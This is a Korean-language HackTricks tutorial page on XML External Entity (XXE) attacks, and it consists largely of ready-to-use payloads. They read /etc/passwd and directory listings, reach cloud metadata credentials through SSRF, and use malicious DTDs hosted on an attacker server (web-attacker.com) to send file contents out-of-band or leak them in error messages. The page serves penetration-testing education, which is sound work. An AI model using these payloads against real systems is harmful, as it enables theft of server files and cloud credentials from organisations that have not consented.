XXE - XEE - XML External Entity

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

XML Basics

XML์€ ๋ฐ์ดํ„ฐ ์ €์žฅ ๋ฐ ์ „์†ก์„ ์œ„ํ•ด ์„ค๊ณ„๋œ ๋งˆํฌ์—… ์–ธ์–ด๋กœ, ์„ค๋ช…์ ์œผ๋กœ ๋ช…๋ช…๋œ ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์—ฐํ•œ ๊ตฌ์กฐ๋ฅผ ํŠน์ง•์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. XML์€ ๋ฏธ๋ฆฌ ์ •์˜๋œ ํƒœ๊ทธ ์ง‘ํ•ฉ์— ์ œํ•œ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— HTML๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. JSON์˜ ๋ถ€์ƒ์œผ๋กœ XML์˜ ์ค‘์š”์„ฑ์€ ๊ฐ์†Œํ–ˆ์ง€๋งŒ, ์ดˆ๊ธฐ AJAX ๊ธฐ์ˆ ์—์„œ์˜ ์—ญํ• ์€ ์—ฌ์ „ํžˆ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

  • ๋ฐ์ดํ„ฐ ํ‘œํ˜„์„ ์œ„ํ•œ ์—”ํ‹ฐํ‹ฐ: XML์˜ ์—”ํ‹ฐํ‹ฐ๋Š” &lt; ๋ฐ &gt;์™€ ๊ฐ™์€ ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ํฌํ•จํ•œ ๋ฐ์ดํ„ฐ ํ‘œํ˜„์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ฉฐ, ์ด๋Š” XML์˜ ํƒœ๊ทธ ์‹œ์Šคํ…œ๊ณผ์˜ ์ถฉ๋Œ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด < ๋ฐ >์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • XML ์š”์†Œ ์ •์˜: XML์€ ์š”์†Œ ์œ ํ˜•์„ ์ •์˜ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์š”์†Œ๊ฐ€ ์–ด๋–ป๊ฒŒ ๊ตฌ์กฐํ™”๋˜์–ด์•ผ ํ•˜๊ณ  ์–ด๋–ค ๋‚ด์šฉ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ชจ๋“  ์œ ํ˜•์˜ ์ฝ˜ํ…์ธ ์—์„œ ํŠน์ • ์ž์‹ ์š”์†Œ์— ์ด๋ฅด๊ธฐ๊นŒ์ง€ ๋‹ค์–‘ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฌธ์„œ ์œ ํ˜• ์ •์˜ (DTD): DTD๋Š” XML์—์„œ ๋ฌธ์„œ์˜ ๊ตฌ์กฐ์™€ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ ์œ ํ˜•์„ ์ •์˜ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. DTD๋Š” ๋‚ด๋ถ€, ์™ธ๋ถ€ ๋˜๋Š” ์กฐํ•ฉ์œผ๋กœ ์กด์žฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฌธ์„œ์˜ ํ˜•์‹๊ณผ ์œ ํšจ์„ฑ์„ ์•ˆ๋‚ดํ•ฉ๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž ์ •์˜ ๋ฐ ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ: XML์€ ์œ ์—ฐํ•œ ๋ฐ์ดํ„ฐ ํ‘œํ˜„์„ ์œ„ํ•ด DTD ๋‚ด์—์„œ ์‚ฌ์šฉ์ž ์ •์˜ ์—”ํ‹ฐํ‹ฐ ์ƒ์„ฑ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. URL๋กœ ์ •์˜๋œ ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ๋Š” XML ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ(XXE) ๊ณต๊ฒฉ์˜ ๋งฅ๋ฝ์—์„œ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ค๋ฉฐ, ์ด๋Š” XML ํŒŒ์„œ๊ฐ€ ์™ธ๋ถ€ ๋ฐ์ดํ„ฐ ์†Œ์Šค๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ํ†ตํ•œ XXE ํƒ์ง€: XXE ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด, ํŠนํžˆ ํŒŒ์„œ ๋ณด์•ˆ ์กฐ์น˜๋กœ ์ธํ•ด ๊ธฐ์กด ๋ฐฉ๋ฒ•์ด ์‹คํŒจํ•  ๋•Œ XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—”ํ‹ฐํ‹ฐ๋Š” DNS ์กฐํšŒ ๋˜๋Š” ์ œ์–ด๋œ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ HTTP ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋“ฑ์˜ ๋น„๋Œ€๋ฉด ํƒ์ง€ ๊ธฐ์ˆ ์„ ํ—ˆ์šฉํ•˜์—ฌ ์ทจ์•ฝ์„ฑ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Main attacks

์ด ๊ณต๊ฒฉ์˜ ๋Œ€๋ถ€๋ถ„์€ ํ›Œ๋ฅญํ•œ Portswiggers XEE ์‹คํ—˜์‹ค์„ ์‚ฌ์šฉํ•˜์—ฌ ํ…Œ์ŠคํŠธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค: https://portswigger.net/web-security/xxe

New Entity test

์ด ๊ณต๊ฒฉ์—์„œ๋Š” ๊ฐ„๋‹จํ•œ ์ƒˆ๋กœ์šด ENTITY ์„ ์–ธ์ด ์ž‘๋™ํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

ํŒŒ์ผ ์ฝ๊ธฐ

๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ /etc/passwd๋ฅผ ์ฝ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. Windows์˜ ๊ฒฝ์šฐ C:\windows\system32\drivers\etc\hosts๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

์ฒซ ๋ฒˆ์งธ ๊ฒฝ์šฐ์—์„œ SYSTEM โ€œ**file:///**etc/passwdโ€œ๋„ ์ž‘๋™ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

์ด ๋‘ ๋ฒˆ์งธ ์‚ฌ๋ก€๋Š” ์›น ์„œ๋ฒ„๊ฐ€ PHP๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ํŒŒ์ผ์„ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (Portswiggers ์‹คํ—˜์‹ค์˜ ๊ฒฝ์šฐ๋Š” ์•„๋‹˜).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

์ด ์„ธ ๋ฒˆ์งธ ๊ฒฝ์šฐ์—์„œ ์šฐ๋ฆฌ๋Š” Element stockCheck๋ฅผ ANY๋กœ ์„ ์–ธํ•˜๊ณ  ์žˆ์Œ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก

Java ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” XXE๋ฅผ ํ†ตํ•ด ๋””๋ ‰ํ† ๋ฆฌ์˜ ๋‚ด์šฉ์„ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํŒŒ์ผ ๋Œ€์‹  ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒฝ์šฐ):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE๋Š” ํด๋ผ์šฐ๋“œ ๋‚ด์—์„œ SSRF๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

์ด์ „์— ์–ธ๊ธ‰๋œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„์— ์ ‘๊ทผํ•˜๊ฒŒ ํ•˜์—ฌ ์ทจ์•ฝ์„ฑ์„ ๋ณด์—ฌ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜, ๋งŒ์•ฝ ๊ทธ๊ฒƒ์ด ์ž‘๋™ํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, XML ์—”ํ‹ฐํ‹ฐ๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ XML ํŒŒ๋ผ๋ฏธํ„ฐ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

โ€œBlindโ€ SSRF - Exfiltrate data out-of-band

์ด๋ฒˆ ๊ฒฝ์šฐ์—๋Š” ์„œ๋ฒ„๊ฐ€ ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ ์ƒˆ๋กœ์šด DTD๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ํ•˜์—ฌ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ HTTP ์š”์ฒญ์„ ํ†ตํ•ด ์ „์†กํ•˜๊ฒŒ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค (๋‹ค์ค‘ ํ–‰ ํŒŒ์ผ์˜ ๊ฒฝ์šฐ _ftp://_๋ฅผ ํ†ตํ•ด ์ „์†ก์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด ๊ธฐ๋ณธ ์„œ๋ฒ„ xxe-ftp-server.rb๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ์ด ์„ค๋ช…์€ Portswiggers lab here๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์–ด์ง„ ์•…์„ฑ DTD์—์„œ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ จ์˜ ๋‹จ๊ณ„๊ฐ€ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

Malicious DTD Example:

๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

์ด DTD์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ๋‹จ๊ณ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ ์ •์˜:
  • XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์ธ %file์ด ์ƒ์„ฑ๋˜์–ด /etc/hostname ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ์Šต๋‹ˆ๋‹ค.
  • ๋˜ ๋‹ค๋ฅธ XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์ธ %eval์ด ์ •์˜๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋™์ ์œผ๋กœ ์ƒˆ๋กœ์šด XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์ธ %exfiltrate๋ฅผ ์„ ์–ธํ•ฉ๋‹ˆ๋‹ค. %exfiltrate ์—”ํ‹ฐํ‹ฐ๋Š” ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— HTTP ์š”์ฒญ์„ ํ•˜๋„๋ก ์„ค์ •๋˜๋ฉฐ, URL์˜ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด ๋‚ด์—์„œ %file ์—”ํ‹ฐํ‹ฐ์˜ ๋‚ด์šฉ์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  1. ์—”ํ‹ฐํ‹ฐ ์‹คํ–‰:
  • %eval ์—”ํ‹ฐํ‹ฐ๊ฐ€ ์‚ฌ์šฉ๋˜์–ด %exfiltrate ์—”ํ‹ฐํ‹ฐ์˜ ๋™์  ์„ ์–ธ์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • ๊ทธ ํ›„ %exfiltrate ์—”ํ‹ฐํ‹ฐ๊ฐ€ ์‚ฌ์šฉ๋˜์–ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•œ HTTP ์š”์ฒญ์ด ์ง€์ •๋œ URL๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ์ด ์•…์„ฑ DTD๋ฅผ ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„์— ํ˜ธ์ŠคํŒ…ํ•˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ http://web-attacker.com/malicious.dtd์™€ ๊ฐ™์€ URL์—์„œ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค.

XXE ํŽ˜์ด๋กœ๋“œ: ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฒฉ์ž๋Š” XXE ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

์ด ํŽ˜์ด๋กœ๋“œ๋Š” XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ %xxe๋ฅผ ์ •์˜ํ•˜๊ณ  ์ด๋ฅผ DTD์— ํ†ตํ•ฉํ•ฉ๋‹ˆ๋‹ค. XML ํŒŒ์„œ์— ์˜ํ•ด ์ฒ˜๋ฆฌ๋  ๋•Œ, ์ด ํŽ˜์ด๋กœ๋“œ๋Š” ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์—์„œ ์™ธ๋ถ€ DTD๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ํŒŒ์„œ๋Š” DTD๋ฅผ ์ธ๋ผ์ธ์œผ๋กœ ํ•ด์„ํ•˜๊ณ , ์•…์˜์ ์ธ DTD์— ์„ค๋ช…๋œ ๋‹จ๊ณ„๋ฅผ ์‹คํ–‰ํ•˜์—ฌ /etc/hostname ํŒŒ์ผ์„ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค.

์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜(์™ธ๋ถ€ DTD)

์ด ๊ฒฝ์šฐ, ์„œ๋ฒ„๊ฐ€ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ๋‚ด์—์„œ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํ‘œ์‹œํ•˜๋Š” ์•…์˜์ ์ธ DTD๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๋งŒ๋“ค ๊ฒƒ์ž…๋‹ˆ๋‹ค(์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค). ์—ฌ๊ธฐ์„œ ์˜ˆ์‹œ.

์•…์˜์ ์ธ ์™ธ๋ถ€ ๋ฌธ์„œ ์œ ํ˜• ์ •์˜(DTD)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋“œ๋Ÿฌ๋‚ด๋Š” XML ํŒŒ์‹ฑ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

  1. /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•˜๋Š” file์ด๋ผ๋Š” XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๊ฐ€ ์ •์˜๋ฉ๋‹ˆ๋‹ค.
  2. error๋ผ๋Š” ๋˜ ๋‹ค๋ฅธ XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์— ๋Œ€ํ•œ ๋™์  ์„ ์–ธ์„ ํฌํ•จํ•˜๋Š” eval์ด๋ผ๋Š” XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ๊ฐ€ ์ •์˜๋ฉ๋‹ˆ๋‹ค. ์ด error ์—”ํ‹ฐํ‹ฐ๋Š” ํ‰๊ฐ€๋  ๋•Œ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ, file ์—”ํ‹ฐํ‹ฐ์˜ ๋‚ด์šฉ์„ ์ด๋ฆ„์œผ๋กœ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  3. eval ์—”ํ‹ฐํ‹ฐ๊ฐ€ ํ˜ธ์ถœ๋˜์–ด error ์—”ํ‹ฐํ‹ฐ์˜ ๋™์  ์„ ์–ธ์ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.
  4. error ์—”ํ‹ฐํ‹ฐ์˜ ํ˜ธ์ถœ์€ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์—ฌ, ํŒŒ์ผ ์ด๋ฆ„์˜ ์ผ๋ถ€๋กœ /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•˜๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์•…์˜์ ์ธ ์™ธ๋ถ€ DTD๋Š” ๋‹ค์Œ XML๋กœ ํ˜ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

์‹คํ–‰ ์‹œ, ์›น ์„œ๋ฒ„์˜ ์‘๋‹ต์—๋Š” /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํ‘œ์‹œํ•˜๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ํฌํ•จ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์™ธ๋ถ€ DTD๋Š” ๋‘ ๋ฒˆ์งธ eval ๋‚ด์— ํ•˜๋‚˜์˜ ์—”ํ‹ฐํ‹ฐ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜์ง€๋งŒ, ๋‚ด๋ถ€ DTD์—์„œ๋Š” ๊ธˆ์ง€๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์™ธ๋ถ€ DTD๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋Š” ์˜ค๋ฅ˜๋ฅผ ๊ฐ•์ œํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค(์ผ๋ฐ˜์ ์œผ๋กœ).

์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ (์‹œ์Šคํ…œ DTD)

๊ทธ๋ ‡๋‹ค๋ฉด ์•„์›ƒ ์˜ค๋ธŒ ๋ฐด๋“œ ์ƒํ˜ธ์ž‘์šฉ์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ ๋ธ”๋ผ์ธ๋“œ XXE ์ทจ์•ฝ์ ์€ ์–ด๋–ป๊ฒŒ ๋ฉ๋‹ˆ๊นŒ(์™ธ๋ถ€ ์—ฐ๊ฒฐ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ)?

XML ์–ธ์–ด ์‚ฌ์–‘์˜ ํ—ˆ์ ์€ ๋ฌธ์„œ์˜ DTD๊ฐ€ ๋‚ด๋ถ€ ๋ฐ ์™ธ๋ถ€ ์„ ์–ธ์„ ํ˜ผํ•ฉํ•  ๋•Œ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํ†ตํ•ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์™ธ๋ถ€์—์„œ ์„ ์–ธ๋œ ์—”ํ‹ฐํ‹ฐ์˜ ๋‚ด๋ถ€ ์žฌ์ •์˜๋ฅผ ํ—ˆ์šฉํ•˜์—ฌ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ XXE ๊ณต๊ฒฉ์˜ ์‹คํ–‰์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์€ ์›๋ž˜ ์™ธ๋ถ€ DTD์—์„œ ์„ ์–ธ๋œ XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์˜ ์žฌ์ •์˜๋ฅผ ์•…์šฉํ•˜์—ฌ ๋‚ด๋ถ€ DTD ๋‚ด์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„์— ์˜ํ•ด ์•„์›ƒ ์˜ค๋ธŒ ๋ฐด๋“œ ์—ฐ๊ฒฐ์ด ์ฐจ๋‹จ๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋กœ์ปฌ DTD ํŒŒ์ผ์— ์˜์กดํ•ด์•ผ ํ•˜๋ฉฐ, ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ด๊ธฐ ์œ„ํ•ด ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๋ฅผ ์œ ๋„ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— /usr/local/app/schema.dtd์— DTD ํŒŒ์ผ์ด ํฌํ•จ๋˜์–ด ์žˆ๊ณ , custom_entity๋ผ๋Š” ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ •์˜ํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด์‹ญ์‹œ์˜ค. ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•˜์ด๋ธŒ๋ฆฌ๋“œ DTD๋ฅผ ์ œ์ถœํ•˜์—ฌ /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋“œ๋Ÿฌ๋‚ด๋Š” XML ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๋ฅผ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

์ด DTD์— ์˜ํ•ด ์„ค๋ช…๋œ ๋‹จ๊ณ„๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:

  • local_dtd๋ผ๋Š” XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์˜ ์ •์˜๋Š” ์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์œ„์น˜ํ•œ ์™ธ๋ถ€ DTD ํŒŒ์ผ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
